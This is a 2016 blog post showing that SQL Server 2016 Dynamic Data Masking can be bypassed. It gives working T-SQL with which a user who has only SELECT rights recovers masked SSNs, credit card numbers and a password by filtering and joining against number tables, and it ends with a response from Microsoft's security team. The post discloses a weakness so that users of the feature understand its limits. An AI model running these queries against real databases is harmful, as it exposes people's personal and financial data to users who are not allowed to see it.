יול9
Written by:
ronen ariely
09/07/2016 19:54 
Background
One of the new security features that SQL Server version 2016 brings, is the Dynamic Data Masking (DDM). DDM is a solution that aims at real-time data masking of production data. DDM changes the data stream so that the data requester does not get full access to sensitive data, while no physical changes to the original production data take place.
Implementing DDM internally in SQL Server, aims to bring us better security, in the user level rules. User not been granted permission "UNMASK", cannot be exposed the original value, if column configured to be masked. Is this actually works?!?
One of the goals that embedded DDM supposed to bring, is that it's transparent to the client application. Users that gets security rules: SELECT, UPDATE, DELETE, INSERT able to work with the data freely, while keeping the masked rules. In this blog I will show how easy it is to expose the masked data, by any user.
Preparation
Step 1: Let's create a new database, for the sake of our testing
USE [master]
GO
DROP DATABASE IF EXISTS [Ariely_DynamicMasking]
CREATE DATABASE [Ariely_DynamicMasking]
CONTAINMENT = NONE
GO
Step 2: Let's create a new (database level) USER based on (Instance level) LOGIN, which is based on (Instance level) CREDENTIAL
/**************************************************** */
/*********************************** SECURITY Elements */
/**************************************************** */
USE [master]
GO
/*------------------------------------------- CREDENTIAL */
if not exists(select * from sys.credentials where name = 'Ariely_MaskingCredential')
BEGIN
CREATE CREDENTIAL Ariely_MaskingCredential
WITH IDENTITY = 'Ariely_MaskingIdentity',
SECRET = 'StrongPasswordHere';
END
GO
select * from sys.credentials
GO
/*------------------------------------------- LOGIN */
if not exists(select * from sys.server_principals where name = 'Ariely_MaskingLogin')
BEGIN
CREATE LOGIN Ariely_MaskingLogin
WITH PASSWORD = 'Strong!Login@Password',
CREDENTIAL = Ariely_MaskingCredential;
END
GO
SELECT * FROM sys.server_principals
where name = 'Ariely_MaskingLogin'
GO
/*------------------------------------------- USER */
use [Ariely_DynamicMasking]
GO
if not exists(select * from sys.database_principals where name = 'Ariely_MaskingUser')
BEGIN
CREATE USER Ariely_MaskingUser FOR LOGIN Ariely_MaskingLogin
WITH DEFAULT_SCHEMA = dbo;
END
GO
SELECT * from sys.database_principals
where name = 'Ariely_MaskingUser'
GO
Step 3: Now we can create the table, which includes the data that we want to mask
Use [Ariely_DynamicMasking];
GO
/**************************************************** */
/********************************************* DDL+DML */
/**************************************************** */
-- Create table with different data type columns
DROP TABLE IF EXISTS Ari_Users_Tbl
CREATE TABLE Ari_Users_Tbl (
UserID INT IDENTITY(1, 1) PRIMARY KEY
,F_Name NVARCHAR(30) NOT NULL
,L_Name NVARCHAR(30) NOT NULL
-----------------------------------------
,SSN INT NOT NULL
,Pasword NVARCHAR(12) NOT NULL
,CreditCard VARCHAR(20) NULL
,Salary MONEY NULL
,Email NVARCHAR(60) NULL
,BirthDate DATETIME NULL
,CONSTRAINT CONSTRAINT_SSN UNIQUE(SSN)
)
GO
-- insert a row
INSERT INTO [dbo].[Ari_Users_Tbl]
([F_Name],[L_Name], [Pasword], [SSN], [CreditCard], [Salary], [Email], [BirthDate])
VALUES
('Ronen','Ariely','sdFgs' , 123456789, '1111-1234-1234-1111',999999,'Not@MyEmail.com' , '20150227'),
('R' ,'A' ,'jkWlsUr', 987654321, '2222-1234-1234-2222',999999,'DefinitelyNot@MyEmail.com', '20160227')
GO
select * from dbo.Ari_Users_Tbl
GO
Step 4: implementing Masking using the new feature in SQL Server 2016
/**************************************************** */
/******************** implementing Masking in SQL 2016 */
/**************************************************** */
---------------------------------------------------------- Using "partial" function
ALTER TABLE Ari_Users_Tbl ALTER COLUMN [CreditCard]
ADD MASKED WITH (FUNCTION = 'partial(0,"XXXX-XXXX-XXXX-",4)')
GO
---------------------------------------------------------- Using "email" function
ALTER TABLE Ari_Users_Tbl ALTER COLUMN [Email]
ADD MASKED WITH (FUNCTION = 'email()')
GO
---------------------------------------------------------- Using "random" function
ALTER TABLE Ari_Users_Tbl ALTER COLUMN [SSN]
ADD MASKED WITH (FUNCTION = 'random(111111111,999999999)')
GO
---------------------------------------------------------- Using "default" for string
ALTER TABLE Ari_Users_Tbl ALTER COLUMN [Pasword]
ADD MASKED WITH (FUNCTION = 'default()')
GO
---------------------------------------------------------- Using "default" for MONEY
ALTER TABLE Ari_Users_Tbl ALTER COLUMN [Salary]
ADD MASKED WITH (FUNCTION = 'default()')
GO
---------------------------------------------------------- Using "default" on date
ALTER TABLE Ari_Users_Tbl ALTER COLUMN [BirthDate]
ADD MASKED WITH (FUNCTION = 'default()')
GO
Step 5: GRANT Permissions to the user and check the masking
/**************************************************** */
/*********************************** GRANT Permissions */
/**************************************************** */
GRANT SELECT ON Ari_Users_Tbl TO Ariely_MaskingUser;
GRANT INSERT ON Ari_Users_Tbl TO Ariely_MaskingUser;
GRANT UPDATE ON Ari_Users_Tbl TO Ariely_MaskingUser;
GO
/**************************************************** */
/**************************** Testing Masking SQL 2016 */
/**************************************************** */
/*------------------------------------------- Current user */
-- this would show clear data
SELECT
UserID,F_Name,L_Name,SSN,CreditCard,Email
,Pasword,Salary,BirthDate
FROM Ari_Users_Tbl;
GO
/*------------------------------------------- MaskingUser user - SELECT */
-- Impersonate different user
EXECUTE AS USER = 'Ariely_MaskingUser';
GO
SELECT USER_NAME(), SUSER_NAME()
GO
SELECT
UserID,F_Name,L_Name,SSN,CreditCard,Email
,Pasword,Salary,BirthDate
FROM Ari_Users_Tbl;
GO
-- Stop impersonate
REVERT;
GO
Expose the masked data, Step-By-Step
Our goal is to expose the masking data in order to get the full unmasked data. We will impersonate the user, which don't have permission to see the unmasked data, and we will try to exposes the data.
-- Execute this statememnt
-- Everything that we are going to do till the end during exposing of the masked data will be done by the new user
EXECUTE AS USER = 'Ariely_MaskingUser';
GO
Execute the above query, and let's start examine, how can we expose the data.
I notice that exposing the data in the select section was blocked in the release version, but at the same time I notice that we can use filter in order to update specific row(s). Once I saw that I can filter the data using unmasked information, which is compared to masked value, I knew that we have a security breach!
-- Security breach!
UPDATE [dbo].[Ari_Users_Tbl]
SET [CreditCard] = '3333-1234-1234-3333'
WHERE [SSN] = 123456789 -- We can filter masked column, by using exsposed value
GO
SELECT * FROM Ari_Users_Tbl;
GO
Goal 1: Find the [SSN] number for UserID = 1
The simplest case that we can think about is to find a number. The SSN is a simple integer number, and that will be great as our first example. Our goal is to find the SSN number for the user with userID = 1.
SELECT u.F_Name, u.L_Name,u.SSN
FROM Ari_Users_Tbl u
where u.UserID = 1
GO
If we add to the above query a filter on SSN, and that value will not be the user correct value, then we will not get any row back:
select u.F_Name, u.L_Name,u.SSN,u.CreditCard
from Ari_Users_Tbl U
where U.UserID = 1
and SSN = 333333333 - This is not the correct SSN value
GO
But if we will use the correct SSN value of the user, then we will get the row back! This is the basic logic in my procedure! We can simply do a phish the value. Theoretically, we can test any available value until we will get the correct SSN value (for example using loop).
-- Fishing (Phishing) the value!
select u.F_Name, u.L_Name,u.SSN,u.CreditCard
from Ari_Users_Tbl U
where U.UserID = 1
and SSN = 123456789 -- This is the correct value, therefore the row will return
GO
Once we understand the basic idea, we can implement a simple query, using dynamic table numbers created in CTE, in order to expose the SSN for any user, very fast as you can see in the next query:
-- Dynamicly Fishing (Phishing) the value!
Declare @UserId int = 1
;With MyCTE as (
SELECT TOP 99999 ROW_NUMBER() OVER (ORDER BY (select NULL)) AS Number
FROM sys.all_objects s1
CROSS JOIN sys.all_objects s2
)
select u.F_Name, u.L_Name,u.SSN
, CONVERT(NVARCHAR(MAX),Nf.Number) + CONVERT(NVARCHAR(MAX),N.Number) as Real_SSN
from Ari_Users_Tbl U
LEFT JOIN MyCTE Nf on Nf.Number = U.SSN / 10000 -- 5 first numbers
LEFT JOIN MyCTE N on N.Number = U.SSN % 10000 -- 4 first numbers
where U.UserID = @UserId
GO
Goal 2: Find the CreditCard number for UserID = 1
The basic logic is exactly like the previous section. A Credit Card number has a specific format, which make it very simple and fast to be exposed.
-- Dynamicly Fishing the CreditCard!
Declare @UserId int = 1
;With MyCTE as (
SELECT TOP 99999 ROW_NUMBER() OVER (ORDER BY (select NULL)) AS Number
FROM sys.all_objects s1
CROSS JOIN sys.all_objects s2
)
SELECT u.F_Name, u.L_Name,u.CreditCard
,CONVERT(NVARCHAR(MAX), N1.Number) + '-' +
CONVERT(NVARCHAR(MAX), N2.Number) + '-' +
CONVERT(NVARCHAR(MAX), N3.Number) + '-' +
CONVERT(NVARCHAR(MAX), N4.Number) as Real_CreditCard
FROM Ari_Users_Tbl u
LEFT JOIN MyCTE N1 on N1.Number = CONVERT(INT,SUBSTRING(u.CreditCard,1,4))
LEFT JOIN MyCTE N2 on N2.Number = CONVERT(INT,SUBSTRING(u.CreditCard,6,4))
LEFT JOIN MyCTE N3 on N3.Number = CONVERT(INT,SUBSTRING(u.CreditCard,11,4))
LEFT JOIN MyCTE N4 on N4.Number = CONVERT(INT,SUBSTRING(u.CreditCard,16,4))
where U.UserID = @UserId
GO
Advance Data Exposing
We can use more advance algorithm in order to find the specific value. There are several known like "Median selection" and others that you might find better fits your needs. As I mentioned my goal is not to teach how to crack, but to show how simple it is, so people that use this feature will be aware of the option, therefore, I will not elaborate these options. You can get more information about "Selection algorithm" in the wikipedia website.
Temporary tables
In the above examples I used a virtual number table, which I created using CTE during the the select statement. Not many users know that in fact any user that login the server, can create a temporary table and even index the table. Using temporary indexed table for the number table can improve the performance dramatically!
Let's create temporary indexed table (I reminds you that we are still using the new user, which has no special permissions!)
DROP TABLE IF EXISTS #NumbersTbl
SELECT TOP 10000 IDENTITY(int,1,1) AS Number
INTO #NumbersTbl
FROM sys.all_objects s1
CROSS JOIN sys.all_objects s2
ALTER TABLE #NumbersTbl ADD CONSTRAINT PK_NumbersTbl PRIMARY KEY CLUSTERED (Number)
GO
Exposing the entire CreditCards
Using the same basic logic as wen use the temporary table in order to Exposing the entire Credit Cards very fast
SELECT u.F_Name, u.L_Name,u.CreditCard
,CONVERT(NVARCHAR(MAX), N1.Number) + '-' +
CONVERT(NVARCHAR(MAX), N2.Number) + '-' +
CONVERT(NVARCHAR(MAX), N3.Number) + '-' +
CONVERT(NVARCHAR(MAX), N4.Number)
FROM Ari_Users_Tbl u
LEFT JOIN #NumbersTbl N1 on N1.Number = CONVERT(INT,SUBSTRING(u.CreditCard,1,4))
LEFT JOIN #NumbersTbl N2 on N2.Number = CONVERT(INT,SUBSTRING(u.CreditCard,6,4))
LEFT JOIN #NumbersTbl N3 on N3.Number = CONVERT(INT,SUBSTRING(u.CreditCard,11,4))
LEFT JOIN #NumbersTbl N4 on N4.Number = CONVERT(INT,SUBSTRING(u.CreditCard,16,4))
GO
Bug - Exposing sensitive data
Using the next query we can expose sensitive information that can help us expose the masking data, and more.
-- Getting the masking information
-- BUG! Why the masking user can see this?!?
-- This information help us to expose the value!
DECLARE @TblName sysname = 'Ari_Users_Tbl'
SELECT Tbl.name, m.name, m.masking_function, t.name, m.max_length
FROM sys.masked_columns AS m
JOIN sys.tables AS tbl ON m.[object_id] = tbl.[object_id]
JOIN sys.types AS t ON m.user_type_id = t.user_type_id
where Tbl.name = @TblName
GO
You can see in the above image that the new user, which has no special permission, can expose information like the maximum length of the data, the exact function including the parameters that we used for the masking, and the type of the columns! This information should not be exposed to the user, and can be used to expose the masked data faster! This is a Security breach!
Expose Free text
The most complex case is when we need to find a free text, which we have no information about it's format or anything else. For this example I will show you how I can find the user password. This option can be implemented on any textual value. In this section I will use specific logic based on three steps. You can find other algorithm which might fit you case better using the exposed data that I show in previous section and more...
Our basic logic based on 3 steps:
- Find the text length
- Find list of all the characters in the list - in this step we will not know how many times each char used or the order of the characters.
- Find the text - find order of the characters
Step 1:
-- Step 1:
select u.UserID,n.Number
from Ari_Users_Tbl u
JOIN #NumbersTbl n ON LEN(u.Pasword) = n.Number
WHERE UserID = 1
GO
Step 2:
For the sake of this blog I assumes that the password includes only English characters. Therefore, I filter the data between ASCII number 65 and 90, which is uppercase English chars, and between 97 to 122, which is the lowercase English chars. You can change the filter according to your needs.
-- Step 2:
DROP TABLE IF EXISTS #QQ
SELECT * INTO #QQ
FROM (
SELECT u.UserID,CHAR(n.Number) c
from Ari_Users_Tbl u
JOIN #NumbersTbl n
on u.Pasword like '%' + CHAR(n.Number) + '%'
COLLATE Hebrew_CS_AS -- Case sensety Hebrew
-- In our case the password can be only English latters
where u.UserID = 1
-- All English latters
AND (
(n.Number >= 65 and n.Number < 90)
or (n.Number >= 97 and n.Number < 122)
)
) T
GO
SELECT * FROM #QQ
GO
Step 3:
We already have the information about all the chars in the password and the length of the password. Now I will use this information to find the exact password.
-- Step 3:
DECLARE @LEN INT = 1, @Pass NVARCHAR(MAX) = ''
WHILE @LEN <= 5 -- we found that the len is 5 in step 1
BEGIN
SELECT @Pass = @Pass + c.c
from #QQ c
INNER JOIN Ari_Users_Tbl a on SUBSTRING(a.Pasword,@LEN,1) = c.c
where a.UserID = 1
SET @LEN = @LEN + 1
END
select u.F_Name, u.L_Name,u.Pasword, @Pass
from Ari_Users_Tbl u
where u.UserID = 1
GO
The End
Wow... That was one of my longest blogs i think!
I Really hop it was clear and helpful :-)
If you have any comment or question then you can post me on Facebook. I HIGHLY recommend to follow my home page on Facebook. I post there about new articles, blogs and sometimes about important announcements.
Conclusions
The built-in new feature is very powerful and it's brings great option to dynamically mask the data and manage the masked data, transparently to the client apps. It can save the developer lot of time and resources. It can even brings better security. Since the data is masked in the database level, it is less exposed to attacks like "Man-in-the-middle", but yet, it's not brings us full security in the USER level! any user that has SELECT permission can exposes the data, as I show in this blog.
* What is the solution?
read my posts (blogs, Articles, Facebook Announcements, etc') ! If you do, then you could read about how I implement Dynamic Data Masking in older versions by building security layer in the database level. This option gives great security, but cost lot of developing time! Another option is to use the new feature, and understand it's limitations. Again, this is a very powerful feature, which gives us a lot. like anything, you just need to know what are the limitations.
From the Microsoft SQL Data Security team:
Some words directly from the developing team :-)
Thanks Ronen for writing about one of our new SQL data security features, Dynamic Data Masking.
As you stated, Dynamic Data Masking is a new and powerful feature built-in to SQL Server 2016 and Azure SQL DB. It enables developers to easily and centrally obfuscate sensitive information in their applications. This can save a lot of time and effort of limiting exposure to data in the application layer. It can also be used to help prevent accidental exposure to engineers connecting directly to the production database for specific purposes. Dynamic Data Masking is very easy to configure for specific sensitive data fields, and is transparent to the application.
It is also important to clarify, as you do in your blog, that while Dynamic Data Masking can help secure your applications, is not a full security solution for blocking access to sensitive data – specifically in the case where users have direct access to the database and can run ad-hoc queries. It is intended to limit exposure of sensitive data and centralize the policy, but the data can be disclosed by malicious intent using brute force techniques when evaluating this feature in isolation.
In fact, Dynamic Data Masking is one tool in an arsenal of security features offered by SQL, which complement each other to provide state-of-the-art security for your database. As in any defense strategy, we recommend using a combination of these built-in capabilities in order to protect your data.
For the examples you demonstrate in your blog, we highly recommend enabling Auditing to track database activity, defining proper permissions models and using an encryption feature like Always Encrypted to protect the most highly classified sensitive data.
Please take a look at this overview of SQL security capabilities to learn more about our recommended best practices for data security.
SQL Data Security team,
More information